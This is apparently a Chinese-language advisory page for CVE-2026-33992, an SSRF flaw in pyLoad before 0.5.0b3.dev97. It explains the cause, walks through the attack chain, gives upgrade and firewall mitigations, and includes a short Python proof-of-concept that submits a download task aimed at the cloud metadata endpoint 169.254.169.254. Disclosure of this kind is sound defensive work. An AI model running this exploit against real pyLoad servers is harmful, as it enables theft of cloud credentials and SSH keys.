IPBUF安全漏洞报告
English
CVE-2026-33992 CVSS 6.5 中危

CVE-2026-33992 pyLoad SSRF漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33992
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
pyLoad

相关标签

SSRFpyLoad信息泄露云元数据Python

漏洞概述

pyLoad是一个用Python编写的免费开源下载管理器。在0.5.0b3.dev97版本之前,其下载引擎在处理URL时缺乏有效的验证机制,接受了任意URL输入。这一缺陷导致了服务端请求伪造(SSRF)漏洞的产生。经过身份验证的攻击者可以利用此漏洞访问内部网络服务,并窃取云提供商的元数据。特别是在DigitalOcean实例上,这可能导致敏感的基础设施数据泄露,包括Droplet ID、网络配置、区域信息、身份验证密钥以及在用户数据/cloud-init中配置的SSH密钥。该问题已在0.5.0b3.dev97版本中得到修复。

技术细节

该漏洞的根本原因在于pyLoad的下载引擎未对用户提供的URL目标进行充分的白名单或格式验证。由于攻击者已被认证(低权限),他们可以向下载引擎提交指向内部资源的HTTP请求。利用SSRF漏洞,攻击者可以探测内网端口、访问受限的内部服务。更严重的是,在云环境中,攻击者可以请求实例元数据服务(例如DigitalOcean的http://169.254.169.254/metadata/v1/)。元数据服务通常包含实例的敏感配置信息。攻击者构造特定的URL指向元数据接口,服务器端代为请求后返回结果,攻击者即可解析响应内容,获取云主机的认证凭证和配置,从而进一步横向移动或接管云资源。

攻击链分析

STEP 1
步骤1
攻击者使用低权限账户登录pyLoad管理界面或通过API进行身份认证。
STEP 2
步骤2
攻击者构造恶意的下载任务URL,指向内部网络服务(如DigitalOcean元数据服务地址169.254.169.254)。
STEP 3
步骤3
pyLoad服务器端接受请求并代为访问目标URL,获取内部敏感信息。
STEP 4
步骤4
攻击者通过下载结果或响应数据获取云主机凭证及配置,完成信息窃取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://<TARGET_IP>:<PORT>/api/add" login_url = "http://<TARGET_IP>:<PORT>/api/login" username = "attacker" password = "password" # 1. Authenticate to get session cookie/token session = requests.Session() login_data = {"username": username, "password": password} session.post(login_url, data=login_data) # 2. Exploit SSRF to access DigitalOcean Metadata # Attacker sets the download link to the internal metadata service metadata_url = "http://169.254.169.254/metadata/v1/id" payload = { "dest": "/downloads/", "url": metadata_url } # Send the request response = session.post(target_url, data=payload) # Check response if response.status_code == 200: print("[+] Exploit successful! Metadata likely exposed.") print(response.text) else: print("[-] Exploit failed.")

影响范围

pyLoad < 0.5.0b3.dev97

防御指南

临时缓解措施
建议用户立即升级至修复版本。如果无法立即升级,应在网络防火墙层面阻断服务器对169.254.169.254(元数据服务)及其他非业务必要内网段的访问。同时,加强用户账户管理,确保仅授权用户可添加下载任务,并监控异常的下载请求行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表